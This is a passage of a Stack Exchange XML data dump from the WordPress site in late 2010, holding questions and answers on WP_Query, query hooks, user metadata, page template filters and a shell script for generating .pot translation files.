}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-02T10:20:45.397" CommentCount="1" />
  <row Id="3548" PostTypeId="2" ParentId="3338" CreationDate="2010-11-02T10:36:02.297" Score="2" ViewCount="" Body="&lt;p&gt;If something unexpected happens between &lt;code&gt;query_posts()&lt;/code&gt; and &lt;code&gt;get_post()&lt;/code&gt;, it is probably a plugin that hooks into the query and modifies it. Try disabling all plugins to see whether the problem disappears. Re-enable them one by one until you see the problem, that is the plugin that causes it.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-02T10:36:02.297" />
  <row Id="3549" PostTypeId="2" ParentId="3255" CreationDate="2010-11-02T11:09:10.957" Score="0" ViewCount="" Body="&lt;p&gt;The basic idea is that you &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_user_meta&quot; rel=&quot;nofollow&quot;&gt;save the extra information as metadata&lt;/a&gt;, and then extend the regular user list and forms to show your own content. (Showing extra columns in the list is easy, I have &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3531/how-can-i-add-columns-to-the-post-edit-listing-to-show-my-custom-post-data/3532#3532&quot;&gt;an example for the post list&lt;/a&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems the &lt;a href=&quot;http://wordpress.org/extend/plugins/members-list/&quot; rel=&quot;nofollow&quot;&gt;Members List&lt;/a&gt; can display data from the meta table, so if &lt;a href=&quot;http://wordpress.org/extend/plugins/cimy-user-extra-fields/&quot; rel=&quot;nofollow&quot;&gt;Cimy User Extra Fields&lt;/a&gt; also saves its information there you should be able to combine them. How does the Cimy plugin save its data?&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-02T11:09:10.957" />
  <row Id="3550" PostTypeId="2" ParentId="3237" CreationDate="2010-11-02T11:24:51.113" Score="1" ViewCount="" Body="&lt;p&gt;Custom post types seem the best match for what you want: you get the permalinks, comments, ... You only need one of the many rating plugins as an extra.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the users have accounts you could try making them authors, it could work since they exist in the &lt;code&gt;users&lt;/code&gt; table so the &lt;code&gt;posts&lt;/code&gt; table can link there. You know you can create &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3543/can-i-make-user-role-that-can-only-access-a-certian-content-type&quot;&gt;a limited role that can only access one specific custom post type&lt;/a&gt;, and not edit everything? Otherwise do it as a custom taxonomy: this also gives you automatic permalinks and archive pages.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-02T11:24:51.113" CommentCount="5" />
  <row Id="3551" PostTypeId="2" ParentId="3131" CreationDate="2010-11-02T11:50:32.700" Score="0" ViewCount="" Body="&lt;p&gt;I've solved my task! 'begin_roundblock' and 'end_roundblock' are my functions for making blocks to games. 'cols' and 'rows' are number columns rows and rows for games.&#xA;    &#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($tag) {&#xA;    $cols = 9;&#xA;    $rows = 5;&#xA;    $paged = (('paged')) ? get_query_var('paged') : 1;&#xA;    $post_per_page = $cols * $rows; // -1 shows all posts&#xA;    $do_not_show_stickies = 1; // 0 to show stickies&#xA;&#xA;$args=array(&#xA;    'post_type' =&amp;gt; 'game',&#xA;    'tag' =&amp;gt; $tag,&#xA;    'orderby' =&amp;gt; 'date',&#xA;    'order' =&amp;gt; 'DESC',&#xA;    'paged' =&amp;gt; $paged,&#xA;    'posts_per_page' =&amp;gt; $post_per_page,&#xA;    'caller_get_posts' =&amp;gt; $do_not_show_stickies&#xA;            );&#xA;&#xA;$wp_query = new WP_Query($args);&#xA;begin_roundblock(urldecode($tag), 'games-pages-tag', null);&#xA;if( have_posts()) :&#xA;    echo '&amp;lt;div class=&quot;games-list-block-content&quot;&amp;gt;';&#xA;    $i = 0;&#xA;    while (have_posts())&#xA;    {&#xA;        the_post();&#xA;&#xA;        $class = 'game-info';&#xA;        if ($i % $cols == 0)&#xA;            $class .= ' clear';&#xA;&#xA;        echo '&amp;lt;div class=&quot;'.$class.'&quot;&amp;gt;&amp;lt;a href=&quot;'.get_permalink().'&quot;&amp;gt;';&#xA;        the_post_thumbnail(array(60, 60), array('class' =&amp;gt; 'game-icon'));&#xA;        $title = get_the_title();&#xA;        if (mb_strlen($title) &amp;gt; 10)&#xA;            $title = mb_substr($title, 0, 7).'...';&#xA;        echo '&amp;lt;span class=&quot;game-title&quot;&amp;gt;'.$title.'&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;';&#xA;        $i++;&#xA;    } ?&amp;gt;&#xA;    &amp;lt;div class=&quot;navigation clear game-info-last-row&quot;&amp;gt;&#xA;      &amp;lt;span class=&quot;alignleft&quot;&amp;gt;&amp;lt;?php next_posts_link('« Older Entries') ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;      &amp;lt;span class=&quot;alignright&quot;&amp;gt;&amp;lt;?php previous_posts_link('Newer Entries »') ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php else: ?&amp;gt;&#xA;    &amp;lt;h2 class=&quot;center&quot;&amp;gt;Not Found&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p class=&quot;center&quot;&amp;gt;Sorry, but you are looking for something that isn't here.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;?php get_search_form(); ?&amp;gt;&#xA;&amp;lt;?php endif;&#xA;end_roundblock();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;?&gt;&lt;/p&gt;&#xA;" OwnerUserId="1301" LastActivityDate="2010-11-02T11:50:32.700" CommentCount="1" />
  <row Id="3552" PostTypeId="2" ParentId="3545" CreationDate="2010-11-02T12:29:50.783" Score="2" ViewCount="" Body="&lt;p&gt;Have you checked that wp_mail() works properly? CF7 might be using its own custom smtp interface or something like that, to work around issues in wp_mail().&lt;/p&gt;&#xA;" OwnerUserId="1208" LastEditorUserId="1208" LastEditorDisplayName="" LastEditDate="2010-11-02T13:37:23.947" LastActivityDate="2010-11-02T13:37:23.947" CommentCount="2" />
  <row Id="3553" PostTypeId="2" ParentId="3098" CreationDate="2010-11-02T12:29:57.267" Score="1" ViewCount="" Body="&lt;p&gt;If each user is registered as a WordPress user (and thus exists in the &lt;code&gt;users&lt;/code&gt; table), you can &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_user_meta&quot; rel=&quot;nofollow&quot;&gt;save user metadata&lt;/a&gt; on each reordering operation. You would communicate back to the server via &lt;a href=&quot;http://codex.wordpress.org/AJAX_in_Plugins&quot; rel=&quot;nofollow&quot;&gt;Ajax&lt;/a&gt; (via &lt;code&gt;admin-ajax.php&lt;/code&gt;, this also works for non-admin stuff). Serialize the current order to a JSON string, send it to the server to save it, and when the user visits again read this value and order the widgets according to it.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-02T12:29:57.267" />
  <row Id="3554" PostTypeId="2" ParentId="3523" CreationDate="2010-11-02T12:35:35.673" Score="0" ViewCount="" Body="&lt;p&gt;You might find this slightly related thread interesting:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/3184/can-images-be-automatically-compressed/&quot;&gt;http://wordpress.stackexchange.com/questions/3184/can-images-be-automatically-compressed/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-02T12:35:35.673" />
  <row Id="3555" PostTypeId="1" AcceptedAnswerId="3577" CreationDate="2010-11-02T12:51:39.137" Score="3" ViewCount="232" Body="&lt;p&gt;I have a .pot file that came with my Wordpress theme. Now I want to add strings to it, that weren't there in the original theme. How do I do that?&#xA;Do I have to update the .pot file? but 1) How do I do that, and 2) How do I make sure that the strings that were translated won't get erased?&#xA;(I'm currently using &lt;a href=&quot;http://www.poedit.net/&quot; rel=&quot;nofollow&quot;&gt;Poedit&lt;/a&gt; and I can't see a feature to add a string.)&lt;/p&gt;&#xA;" OwnerUserId="373" LastEditorUserId="373" LastEditorDisplayName="" LastEditDate="2011-03-06T09:57:23.070" LastActivityDate="2011-03-06T09:57:23.070" Title="How do I add a new string to a .po or .pot file?" Tags="&lt;themes&gt;&lt;buddypress&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="3556" PostTypeId="2" ParentId="3542" CreationDate="2010-11-02T13:16:36.137" Score="3" ViewCount="" Body="&lt;p&gt;The most efficient way is probably to hook into the &lt;code&gt;pre_get_posts&lt;/code&gt; action and add your time comparison there. This way you don't have to worry about the rest or the query options as they will still work. It should look like this (untested), and be placed in a plugin or theme functions file (not in the page template file, the query will already have been executed):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('pre_get_posts', 'add_event_date_criteria');&#xA;function add_event_date_criteria(&amp;amp;$query)&#xA;{&#xA;    // We only want to filter on &quot;public&quot; pages&#xA;    // You can add other selections, like here:&#xA;    //  - Only on a term page for our custom taxonomy&#xA;    if (!is_admin() &amp;amp;&amp;amp;&#xA;        is_tax('event_types')) {&#xA;        global $custom_metabox_event_dates;&#xA;        $query-&amp;gt;set('meta_key', $custom_metabox_event_dates-&amp;gt;get_the_name('combined_datetime'));&#xA;        $query-&amp;gt;set('meta_compare', '&amp;gt;=');&#xA;        $query-&amp;gt;set('meta_value', time());&#xA;        $query-&amp;gt;set('orderby', 'meta_value');&#xA;        $query-&amp;gt;set('order', 'asc');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You define the scope of this extra filter with the contents of the &lt;code&gt;if()&lt;/code&gt; test. Currently we don't do it on admin pages (you wouldn't be able to access old content), and only do it on specific taxonomy pages. You should find out for yourself how wide or how narrow you want this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can't solve it this way, you can do the main query again without losing the &quot;page specific query&quot; by adding the different query vars to the main &lt;code&gt;$wp_query&lt;/code&gt; objects, and calling &lt;code&gt;$wp_query-&amp;gt;get_posts()&lt;/code&gt; again. Since we did not call &lt;code&gt;$wp_query-&amp;gt;parse_query()&lt;/code&gt;, the page-specific query args will not be cleared. It would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $custom_metabox_event_dates;&#xA;$wp_query-&amp;gt;set('meta_key', $custom_metabox_event_dates-&amp;gt;get_the_name('combined_datetime'));&#xA;$wp_query-&amp;gt;set('meta_compare', '&amp;gt;=');&#xA;$wp_query-&amp;gt;set('meta_value', time());&#xA;$wp_query-&amp;gt;set('orderby', 'meta_value');&#xA;$wp_query-&amp;gt;set('order', 'asc');&#xA;$wp_query-&amp;gt;get_posts();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can place this in your template files (not &lt;code&gt;functions.php&lt;/code&gt;, but &lt;code&gt;taxonomy-event_types.php&lt;/code&gt; or other &quot;real&quot; template files). Remember that you &quot;throw away&quot; one database call this way, so it is not the most optimal solution.&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-11-05T22:52:21.240" LastActivityDate="2010-11-05T22:52:21.240" CommentCount="13" />
  <row Id="3557" PostTypeId="2" ParentId="3555" CreationDate="2010-11-02T13:44:31.723" Score="2" ViewCount="" Body="&lt;p&gt;Here's a shell script to generate pot files automatically. Modify the copyright, etc to fit your needs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/sh&#xA;#&#xA;# Author: Denis de Bernardy &amp;lt;http://www.mesoconcepts.com&amp;gt;&#xA;# Version: 0.1&#xA;# GPL licensed&#xA;#&#xA;# Created by Ryan Boren&#xA;# Later code and patches from&#xA;# Kimmo Suominen (more) and Nikolay Bachiyski (less)&#xA;# Denis de Bernardy&#xA;&#xA;cwd=`pwd`&#xA;&#xA;if [ -n &quot;$1&quot; ];&#xA;then&#xA;    cd &quot;$1&quot; || exit 1&#xA;    slug=`basename $1`&#xA;    dir=$cwd/$slug&#xA;else&#xA;    dir=$cwd&#xA;    slug=`basename $cwd`&#xA;fi&#xA;&#xA;pot_file=$slug.pot&#xA;&#xA;cp /dev/null &quot;$dir/$pot_file&quot;&#xA;&#xA;find . -name '*.php' -print \&#xA;| sed -e 's,^\./,,' \&#xA;| sort \&#xA;| xargs xgettext \&#xA;    --keyword=__ \&#xA;    --keyword=_e \&#xA;    --keyword=_c \&#xA;    --keyword=__ngettext:1,2 \&#xA;    --keyword=_n:1,2 \&#xA;    --default-domain=$slug \&#xA;    --language=php \&#xA;    --output=&quot;$dir/$pot_file&quot; \&#xA;    --join-existing \&#xA;    --from-code utf-8 \&#xA;    --copyright-holder='Mesoconcepts &amp;lt;http://www.mesoconcepts.com&amp;gt;' \&#xA;    --msgid-bugs-address=https://tickets.semiologic.com&#xA;&#xA;# sub only the YEAR in the copyright message (the 2nd line)&#xA;sed -i '' -e '2s/YEAR/'`date +%Y`'/' &quot;$pot_file&quot;&#xA;&#xA;# and the cherry of the pie - extract version using magic - versoextracanus!~&#xA;&#xA;if [ -f $dir/style.css ];&#xA;then&#xA;    name=`fgrep -i 'Theme Name:' $dir/style.css`&#xA;    version=`fgrep -i 'Version:' $dir/style.css`&#xA;elif [ -f $dir/$slug.php ];&#xA;then&#xA;    #statements&#xA;    name=`fgrep -i 'Plugin Name:' $dir/$slug.php`&#xA;    version=`fgrep -i 'Version:' $dir/$slug.php`&#xA;else&#xA;    name=$slug&#xA;    version=&#xA;fi&#xA;&#xA;name=${name##*:}&#xA;name=${name##[[:space:]]}&#xA;version=${version##*:}&#xA;version=${version##[[:space:]]}&#xA;version=${version%%[[:space:]]*}&#xA;&#xA;if [ &quot;$name&quot; != '' ];&#xA;then&#xA;    sed -i '' -e &quot;1s/^# SOME DESCRIPTIVE TITLE/# $name pot file/&quot; &quot;$pot_file&quot;&#xA;    sed -i '' -e &quot;s/\(^#.*\)PACKAGE\(.*\)/\1$name\2/g&quot; &quot;$pot_file&quot;&#xA;fi&#xA;&#xA;if [ &quot;$version&quot; != '' ];&#xA;then&#xA;    sed -i '' -e &quot;s/\(Project-Id-Version: \)PACKAGE VERSION/\1$version/&quot; &quot;$pot_file&quot;&#xA;fi&#xA;&#xA;cd &quot;$cwd&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Usage, assuming a *nix box (Mac or Linux):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;place the above in ~/bin/gen_pot.sh and make it executable&lt;/li&gt;&#xA;&lt;li&gt;make sure that ~/bin is in your $PATH&lt;/li&gt;&#xA;&lt;li&gt;in wp-content/themes, run gen_pot.sh yourtheme&lt;/li&gt;&#xA;&lt;li&gt;or from within in your theme's dir, run gen_pot.sh&lt;/li&gt;&#xA;&lt;li&gt;it'll output the pot file automatically...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-02T13:44:31.723" />
  <row Id="3558" PostTypeId="2" ParentId="3396" CreationDate="2010-11-02T13:52:24.700" Score="5" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/theme.php#L917&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_page_template()&lt;/code&gt;&lt;/a&gt; can be overridden via the &lt;code&gt;page_template&lt;/code&gt; filter. If your plugin is a directory with the templates as files in them, it's just a matter of passing the names of these files. If you want to create them &quot;on the fly&quot; (edit them in the admin area and save them in the database?), you might want to write them to a cache directory and refer to them, or hook into &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/template-loader.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;template_redirect&lt;/code&gt;&lt;/a&gt; and do some crazy &lt;code&gt;eval()&lt;/code&gt; stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple example for a plugin that &quot;redirects&quot; to a file in the same plugin directory if a certain criterium is true:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'page_template', 'wpa3396_page_template' );&#xA;function wpa3396_page_template( $page_template )&#xA;{&#xA;    if ( is_page( 'my-custom-page-slug' ) ) {&#xA;        $page_template = dirname( __FILE__ ) . '/custom-page-template.php';&#xA;    }&#xA;    return $page_template;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-11-16T19:45:09.213" LastActivityDate="2010-11-16T19:45:09.213" CommentCount="4" />
  <row Id="3559" PostTypeId="2" ParentId="3539" CreationDate="2010-11-02T15:18:22.450" Score="1" ViewCount="" Body="&lt;p&gt;Your problem is that you installed it in a subdirectory of WordPress.  Both WordPress and Gallery 3 will use virtual URLs in their domain, and with them both acting on the same folders, neither system knows what to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you have &lt;code&gt;http://blog.url/&lt;/code&gt; and &lt;code&gt;http://blog.url/gallery3/&lt;/code&gt; which is also &lt;code&gt;http://g3.blog.url/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The subdomain will point to that folder without any problem ... &lt;code&gt;http://g3.blog.url/&lt;/code&gt; will redirect to &lt;code&gt;http://blog.url/gallery3/&lt;/code&gt; ... but &lt;code&gt;http://g3.blog.url/something&lt;/code&gt; will redirect to &lt;code&gt;http://blog.url/gallery3/something&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Logically, you'll think this will work, but both Gallery 3 and WordPress will try to eat this URL to pass it to the appropriate page.  WordPress will send &lt;code&gt;http://g3.blog.url/login/ajax&lt;/code&gt; to &lt;code&gt;http://blog.url/index.php/login/ajax&lt;/code&gt; because that's where it thinks you're trying to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My recommendation would be to &lt;em&gt;not&lt;/em&gt; use a subfolder of the WordPress directory for Gallery 3.  Put it in a separate folder altogether and point your subdomain there.  Then tell WordPress to reference the subdomain rather than the subfolder.  You won't run into &lt;code&gt;.htaccess&lt;/code&gt; collisions that way.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-11-02T15:18:22.450" />
  <row Id="3561" PostTypeId="2" ParentId="3523" CreationDate="2010-11-02T15:58:14.007" Score="2" ViewCount="" Body="&lt;p&gt;You can modify the content that is displayed on the site by hooking in to the &lt;code&gt;the_content&lt;/code&gt; filter. However, this is where the hard work starts. You need to identify all the images, figure out the links to the large sizes, and replace them. This could be a costly operation, so you might want to save the post back to the database and set a (hidden) meta key to indicate you don't have to do it again next time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, some hints on how to do this: to get info on the attached images, you use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_children&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_children()&lt;/code&gt;&lt;/a&gt; and specify you only want attachments: &lt;code&gt;get_children($post-&amp;gt;ID, array('post_type' =&amp;gt; 'attachment'))&lt;/code&gt;. Attachments are stored like posts, and you can request different sizes with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_image_src&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_get_attachment_image_src()&lt;/code&gt;&lt;/a&gt; by passing the requested size (&lt;code&gt;&quot;large&quot;&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-02T15:58:14.007" CommentCount="1" />
  <row Id="3563" PostTypeId="1" CreationDate="2010-11-02T16:38:26.763" Score="-1" ViewCount="43" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The ability to upgrade plug-ins from within WordPress was added in version 1.5.2?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;BBS is a term used to describe web sites maintaining an ongoing chronicle of information?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Link Categories, like Post Categories, have a parent/child relationship (hierarchy) ans = no?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Two or more themes may have the same details listed in their comment headers. ans = no?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it possible to create separate template files for each category?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Are users forbidden from controlling the way their profile details are displayed on the weblog?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;what (captcha, trackbacks, pingbacks, ...)? aim to provide blog commenting verification?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What are WordPress bundles? Are they large number of ports to assist in migrating to WordPress from other blogging platforms?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What feature allows you to move blog data from another host into your new WordPress blog?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Dashboard is WordPress' web-based administration system? How is WordPress' web-based administration system called?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Every WordPress blog generally don't have minimum of users?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The Loop checks whether any posts were collected with which function?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When viewing any single post or permalink, WordPress will use which filename.php if it is present?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;WordPress supports various feeds using which template tag?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Pages can be organized into?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Pages can be associated with Categories?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Which feature allows you to create a navigation menu of pages, categories, custom links, tags, etc. that is presented to your visitors.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Themes can be added to blog site using cPanel?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it possible to create separate template files for each category?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Which files WordPress uses to help your weblog's content be more semantic and meaningful?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1454" LastActivityDate="2010-11-02T16:46:08.647" ClosedDate="2010-11-02T17:16:32.000" Title="Couple of WordPress questions" Tags="&lt;posts&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="3564" PostTypeId="2" ParentId="3563" CreationDate="2010-11-02T16:46:08.647" Score="0" ViewCount="" Body="&lt;p&gt;Many of these questions can be answered with some google research. It would be better to do some research and then come back when you have more definitive questions. Also, I think this falls into the &quot;questions NOT to ask here&quot; category of the FAQ. To quote the &quot;good subjective questions&quot; section of the FAQ &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Avoid asking questions that are subjective, argumentative, or require extended discussion. This is not a discussion board, this is a place for questions that can be answered! &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blog.stackoverflow.com/2010/09/good-subjective-bad-subjective/&quot; rel=&quot;nofollow&quot;&gt;http://blog.stackoverflow.com/2010/09/good-subjective-bad-subjective/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1352" LastActivityDate="2010-11-02T16:46:08.647" />
  <row Id="3565" PostTypeId="2" ParentId="2935" CreationDate="2010-11-02T16:46:47.287" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;the_category()&lt;/code&gt; uses &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/category-template.php#L175&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_the_category_list()&lt;/code&gt;&lt;/a&gt; to do its work, but this function gives you no way to specify classes. However, you can filter the output with the &lt;code&gt;the_category&lt;/code&gt; hook. Since you know the format of the current category links, you can so a search and replace on them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would look something like this (untested):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_category', 'highlight_current_cats', 10, 3);&#xA;function highlight_current_cats($thelist, $separator, $parents)&#xA;{&#xA;    // The current cat links will look like &amp;lt;a href=&quot;[category link]&quot; [other stuff]&#xA;    // We want them it look like &amp;lt;a href=&quot;[category link]&quot; class=&quot;current-cat&quot; [other stuff]&#xA;    $current_cats = get_the_category();&#xA;    if ($current_cats) {&#xA;        foreach ($current_cats as $cat) {&#xA;            $cat_link = get_category_link($cat-&amp;gt;term_id);&#xA;            $thelist = str_replace('&amp;lt;a href=&quot;' . $cat_link . '&quot;', '&amp;lt;a href=&quot;' . $cat_link . '&quot; class=&quot;current-cat&quot;', $thelist);&#xA;        }&#xA;    }&#xA;    return $thelist;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-02T16:46:47.287" CommentCount="1" />
  <row Id="3566" PostTypeId="1" CreationDate="2010-11-02T16:53:32.943" Score="0" ViewCount="205" Body="&lt;p&gt;I'm using cforms plugin, which provides a way for writing custom functions for the form action handler page, using the file my-functions.php and the function my_cforms_logic(.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that whenever I submit the form, the function works well but it runs for 5 times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if i write a statement in the function such as, echo &quot;A&quot;; then in the output I see, &quot;AAAAA&quot;.&lt;/p&gt;&#xA;" OwnerUserId="1119" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2011-05-14T15:34:05.910" LastActivityDate="2011-05-14T15:34:05.910" Title="cforms plugin function &quot;my_cforms_logic&quot; (for writing custom logic), is running 5 times" Tags="&lt;plugins&gt;&lt;plugin-cforms&gt;" AnswerCount="1" />
  <row Id="3567" PostTypeId="2" ParentId="2694" CreationDate="2010-11-02T16:57:29.447" Score="1" ViewCount="" Body="&lt;p&gt;The site you linked to seems to do this by making one image the post thumbnail (&lt;em&gt;Featured image&lt;/em&gt; in the admin screen). So you attach multiple images to your post, and then choose one of them as the featured image. You then modify your theme to show only the post thumbnail and no text in lists. This does not require any plugins, just a little modification to your theme files.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-02T16:57:29.447" />
  <row Id="3568" PostTypeId="1" CreationDate="2010-11-02T17:19:15.527" Score="0" ViewCount="44" Body="&lt;ul&gt;&#xA;&lt;li&gt;The ability to upgrade plug-ins from within WordPress was added in which version?&lt;/li&gt;&#xA;&lt;li&gt;What are WordPress bundles? Are they large number of ports to assist in migrating to WordPress from other blogging platforms?&lt;/li&gt;&#xA;&lt;li&gt;How is WordPress' web-based administration system called?&lt;/li&gt;&#xA;&lt;li&gt;When viewing any single post or permalink, WordPress will use which filename.php if it is present?&lt;/li&gt;&#xA;&lt;li&gt;WordPress supports various feeds using which template tag?&lt;/li&gt;&#xA;&lt;li&gt;Pages can be associated with Categories?&lt;/li&gt;&#xA;&lt;li&gt;Which feature allows you to create a navigation menu of pages, categories, custom links, tags, etc. that is presented to your visitors.&lt;/li&gt;&#xA;&lt;li&gt;Which files WordPress uses to help your weblog's content be more semantic and meaningful?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I was unable to find an answer by Googling...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1454" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-04T02:24:49.803" LastActivityDate="2010-11-04T02:24:49.803" ClosedDate="2010-11-02T17:25:52.737" Title="Few wordpress general questions" Tags="&lt;untagged&gt;" CommentCount="2" />
  <row Id="3570" PostTypeId="1" AcceptedAnswerId="6930" CreationDate="2010-11-02T19:06:22.937" Score="0" ViewCount="451" Body="&lt;p&gt;I'd like to implement a similar functionality as WP Categories screen in the Admin area. Where you can add category and it will appear in the list of all categories straight away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a CD custom post type and I would like to add tracks to a CD in the same way as WP Categories are added. So that after general CD info there will be an empty &quot;New track info&quot; form where a track's info is inserted and after hitting &quot;Add track&quot; - a track will appear under the general CD info, and again displaying an empty &quot;New track info&quot; form to add another track to a CD. (Hope that makes sense).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it will be grate if I could reorder track records by dragging and dropping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's a lot of &quot;wishing&quot; that I don't know how to go on about. I'm a novice and unfortunately can't figure it out myself. I would really appreciate if people could point me on the right direction with this ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really appreciate any help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&#xA;Dasha&lt;/p&gt;&#xA;" OwnerUserId="1343" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-03T18:20:36.987" LastActivityDate="2011-01-13T23:54:13.757" Title="Ajax solution similar to WP Categories functioning in Admin area" Tags="&lt;custom-post-types&gt;&lt;wp-admin&gt;&lt;ajax&gt;" AnswerCount="2" FavoriteCount="2" />
